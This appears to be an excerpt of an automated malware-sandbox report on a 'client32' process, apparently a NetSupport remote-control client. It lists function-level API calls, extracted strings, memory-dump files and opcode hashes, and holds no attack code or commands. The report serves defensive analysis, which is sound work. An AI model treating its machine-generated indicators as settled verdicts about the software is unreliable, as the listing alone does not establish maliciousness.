Part of subcall function 6C4F1B69: __FF_MSGBANNER.LIBCMT ref: 6C4F1B82
Part of subcall function 6C4F1B69: __NMSG_WRITE.LIBCMT ref: 6C4F1B89
Part of subcall function 6C4F1B69: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C4FD3C1,6C4F6E81,00000001,6C4F6E81,?,6C4FF447,00000018,6C517738,0000000C,6C4FF4D7), ref: 6C4F1BAE

wsprintfA.USER32 ref: 6C4EDC04
_memset.LIBCMT ref: 6C4EDC27

Strings

Refcount.cpp, xrefs: 6C4EDC15
Can't alloc %u bytes, xrefs: 6C4EDBFE

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc_memsetwsprintf
String ID: Can't alloc %u bytes$Refcount.cpp
API String ID: 2405090531-3988092936
Opcode ID: 6092bf44eb1acd94f7b4d5a551364a78e121793159fc659e30a3e4f5b1ba755f
Instruction ID: c5cb77318ce2f150d65e7f6d8f991d2e47be8a8ad4fd8aa896ac0c2273816b25
Opcode Fuzzy Hash: 6092bf44eb1acd94f7b4d5a551364a78e121793159fc659e30a3e4f5b1ba755f
Instruction Fuzzy Hash: 8FF046F2E4000873C720EBA49C09EDFB77C9FC2614F01019DEE05A7641DA34AA0A86D9

Function 1110C4B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110C4C9

Part of subcall function 1115F231: __FF_MSGBANNER.LIBCMT ref: 1115F24A
Part of subcall function 1115F231: __NMSG_WRITE.LIBCMT ref: 1115F251
Part of subcall function 1115F231: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F276

wsprintfA.USER32 ref: 1110C4E4

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

_memset.LIBCMT ref: 1110C507

Strings

Can't alloc %u bytes, xrefs: 1110C4DE
..\ctl32\Refcount.cpp, xrefs: 1110C4F5

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: e0bb211f859f2fa949f44d2096963267122c0da9ac3aa2b0a4827efdede835e6
Instruction ID: b630a7bce2d8b31bd129a4a0d869a60b14261a6ec7c13124e9a87005b2231114
Opcode Fuzzy Hash: e0bb211f859f2fa949f44d2096963267122c0da9ac3aa2b0a4827efdede835e6
Instruction Fuzzy Hash: 79F02BB9E0112977C7119AA9AC81FEFF7BC8F81608F4001A9FF05A7141E935AA02C7D5

Function 11031200 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110312B6

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

%s%s.bin, xrefs: 110312B0
m_pDoInv == NULL, xrefs: 11031233
928100, xrefs: 11031297
clientinv.cpp, xrefs: 1103122E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$928100$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-1718721451
Opcode ID: 69f1edf75e8ca04657a2c8ec5fa8d6c870dc7a90b51fd07c843ad0103a623bf6
Instruction ID: 2341575681f6e1d693b2af78dd19dca744ecd147650d17c5e1ce5a0d9c930bd8
Opcode Fuzzy Hash: 69f1edf75e8ca04657a2c8ec5fa8d6c870dc7a90b51fd07c843ad0103a623bf6
Instruction Fuzzy Hash: 78218EB5E00705AFD710DF65DC80BABB7E4EB89718F10856EF825D7681EA34A8108B55

Function 6C4F49F7 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6C4F4A05

Part of subcall function 6C4F1B69: __FF_MSGBANNER.LIBCMT ref: 6C4F1B82
Part of subcall function 6C4F1B69: __NMSG_WRITE.LIBCMT ref: 6C4F1B89
Part of subcall function 6C4F1B69: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C4FD3C1,6C4F6E81,00000001,6C4F6E81,?,6C4FF447,00000018,6C517738,0000000C,6C4FF4D7), ref: 6C4F1BAE

_free.LIBCMT ref: 6C4F4A18

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: bb4902dd51cb003ad1ccc198b21c618bdf66a4376e216463a4fa39ff06e1a9f3
Instruction ID: cce91a80c8e10a9715a6d731fe2c6df6c7ef479e30f25134c4ab421129c3c475
Opcode Fuzzy Hash: bb4902dd51cb003ad1ccc198b21c618bdf66a4376e216463a4fa39ff06e1a9f3
Instruction Fuzzy Hash: C011E632944111AECB11EB78AC08EC93A68EBC13E9B21512DED38E6F44EF34854346D8

Function 11140A10 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(111410E8,00000000,?,111410E8,00000000), ref: 11140A2C
__strdup.LIBCMT ref: 11140A47

Part of subcall function 11080C50: _strrchr.LIBCMT ref: 11080C5E

Part of subcall function 11140A10: _free.LIBCMT ref: 11140A6E

_free.LIBCMT ref: 11140A7C

Part of subcall function 1115F2C5: HeapFree.KERNEL32(00000000,00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2DB
Part of subcall function 1115F2C5: GetLastError.KERNEL32(00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2ED

CreateDirectoryA.KERNEL32(111410E8,00000000,?,?,?,111410E8,00000000), ref: 11140A87

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: a0b33b1edd81cd64c1d8e3759cbead4e3aae10ac1418d4c544b38f7ea69fe648
Instruction ID: 1c08e647dc052b0ac3e89a50278392bb41baddc2a410cc77f75d714db07cb266
Opcode Fuzzy Hash: a0b33b1edd81cd64c1d8e3759cbead4e3aae10ac1418d4c544b38f7ea69fe648
Instruction Fuzzy Hash: AE01F57E7002171AF301157E6D05BEBBB8C8BD2AA8F348636E85DC6585F752E00641A2

Function 1100EC80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100ECB2

Part of subcall function 1115CF04: _setlocale.LIBCMT ref: 1115CF16

_free.LIBCMT ref: 1100ECC4

Part of subcall function 1115F2C5: HeapFree.KERNEL32(00000000,00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2DB
Part of subcall function 1115F2C5: GetLastError.KERNEL32(00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2ED

_free.LIBCMT ref: 1100ECD7
_free.LIBCMT ref: 1100ECEA
_free.LIBCMT ref: 1100ECFD

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: 79d1fb3316b6a809dc4fbc7e172a240c417b5edfee08efaec5b4f9c643edd506
Instruction ID: ed4591471b6a58c1ebc1a21eb0d0f69f60c5da075d19e0a110d3e1ee802c5437
Opcode Fuzzy Hash: 79d1fb3316b6a809dc4fbc7e172a240c417b5edfee08efaec5b4f9c643edd506
Instruction Fuzzy Hash: 1011E2F1D00615ABD720CF99C804B0BFBEDEB40654F104A2FE42AD3740E731F9008A92

Function 11141CB0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 11140F70: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11190A88), ref: 11140FDD
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110C55B), ref: 1114101E
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114107B

wsprintfA.USER32 ref: 11141CDE
wsprintfA.USER32 ref: 11141CF4

Part of subcall function 1113F5D0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110C55B,76938400,?), ref: 1113F667
Part of subcall function 1113F5D0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F687
Part of subcall function 1113F5D0: CloseHandle.KERNEL32(00000000), ref: 1113F68F

Strings

%sNSM.LIC, xrefs: 11141CD8
NSM.LIC, xrefs: 11141CC3
%sNSA.LIC, xrefs: 11141CEE

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseHandleModuleName
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 3779116287-2600120591
Opcode ID: 10fe353150c4a136d96217364119d928f9420d5936b08755f188faef03f110a2
Instruction ID: ca00207c866dad099f8e7963b495b36a258e6deebbd3cdc666715a5fa7ef61fb
Opcode Fuzzy Hash: 10fe353150c4a136d96217364119d928f9420d5936b08755f188faef03f110a2
Instruction Fuzzy Hash: 2E01D876E0522D66CB50DFF18C41BDFF76C8F44608F100195FC0997184EE307A448792

Function 1113F5D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110C55B,76938400,?), ref: 1113F667
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F687
CloseHandle.KERNEL32(00000000), ref: 1113F68F

Strings

", xrefs: 1113F61E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFile$CloseHandle
String ID: "
API String ID: 1443461169-123907689
Opcode ID: 0514b85a4bb7f076a42cb2970b1ad491c72ec6c51329d6f3be7243a02cb64eac
Instruction ID: 008e4aca3803944ade0234e08cae1ccadc2d9757611747833c98392c386e5654
Opcode Fuzzy Hash: 0514b85a4bb7f076a42cb2970b1ad491c72ec6c51329d6f3be7243a02cb64eac
Instruction Fuzzy Hash: 6821DD70A0425BAFE312CE38DD60BD9BBA49F82325F2041E4F8D5DB1D5DA709A49C753

Function 6C4D6610 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84networkCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E9BF0: _strncpy.LIBCMT ref: 6C4E9C14

inet_addr.WSOCK32(?,?,?,?,?,?,00002000,?,00000000), ref: 6C4D6691
gethostbyname.WSOCK32(?,?,?,?,?,?,00002000,?,00000000), ref: 6C4D66A2
WSAGetLastError.WSOCK32(?,?,?,?,?,?,00002000,?,00000000), ref: 6C4D66CD

Strings

Cannot resolve hostname %s, error %d, xrefs: 6C4D66D6

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast_strncpygethostbynameinet_addr
String ID: Cannot resolve hostname %s, error %d
API String ID: 2603238076-1802540647
Opcode ID: a75826b573eb2bde4c447b313cdfdf168c29d7dae101314bde31049cc2cd69c4
Instruction ID: efe75be6215c0b2aaffb7699fcb16d931c74fe67c08eb3929c00663b43c8c5fb
Opcode Fuzzy Hash: a75826b573eb2bde4c447b313cdfdf168c29d7dae101314bde31049cc2cd69c4
Instruction Fuzzy Hash: C0218271A001089BDB10DF648C50FDAB3B8AF85214F418599E959D7780EF31E949CBD0

Function 1102CCC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,8F98CBB2,76232EE0,?,00000000,Function_0017AC6B,000000FF,?,1102FA76,UseIPC,00000001,00000000), ref: 1102CD77

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

Part of subcall function 1110C580: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,7736C3F0,?,1110D2DD,00000000,00000001,?,?,?,?,?,110309CC), ref: 1110C59E

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1102CD3A

Strings

DisableGeolocation, xrefs: 1102CCEE
Client, xrefs: 1102CCF3

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_malloc_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 3315423714-4166767992
Opcode ID: cbb9866ac0a9c8b5b0dd4354d5d4d5abdb9597a8a6b2a660bde5cb3747d7ceda
Instruction ID: 576321ab2be76ec1cc6503dcb72392ce386cc46ff2937fd65140f52b3eceb142
Opcode Fuzzy Hash: cbb9866ac0a9c8b5b0dd4354d5d4d5abdb9597a8a6b2a660bde5cb3747d7ceda
Instruction Fuzzy Hash: 5C21A274A41751ABE321CB94CE41B6AFBA4E708B08F104269EA15AB3C0D7B57400CB84

Function 11026DC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11026DEA

Part of subcall function 110CBC30: EnterCriticalSection.KERNEL32(00000000,00000000,76933760,00000000,7694A1D0,1105D2FB,?,?,?,?,11026153,00000000,?,?,00000000), ref: 110CBC4B
Part of subcall function 110CBC30: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CBC78
Part of subcall function 110CBC30: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CBC8A
Part of subcall function 110CBC30: LeaveCriticalSection.KERNEL32(?,?,?,?,11026153,00000000,?,?,00000000), ref: 110CBC94

TranslateMessage.USER32(?), ref: 11026E00
DispatchMessageA.USER32(?), ref: 11026E06

Strings

Exit Msgloop, quit=%d, xrefs: 11026E3D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
